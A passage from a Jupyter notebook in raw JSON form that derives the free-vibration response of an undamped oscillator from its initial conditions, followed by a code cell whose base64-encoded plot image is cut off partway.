\\cos{w_n t} $$\n", "\n", "Now considering initial conditions $y(0)$:\n", "\n", "$$ y(t=0) = y_0 = A_1$$\n", "\n", "$$ y'(t=0) = y_0' = w_n A_2 $$\n", "\n", "$$ A_1 = y_0 $$\n", "\n", "$$ A_2 = \\frac{y_0'}{w_n} $$\n", "\n", "Replacing $A_1$ and $A_2$ the expression can be given by:\n", "\n", "$$ y(t) = y_0 \\cos{w_n t} + \\frac{y_0'}{w_n} \\sin{w_n t} $$\n", "\n", "This is implemented as follows:" ] }, { "cell_type": "code", "execution_count": 20, "metadata": { "collapsed": false }, "outputs": [ { "data": { "image/png": "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\nIeaRJLlpkcc8orREJzExtWw+DkgtM8CA5Kn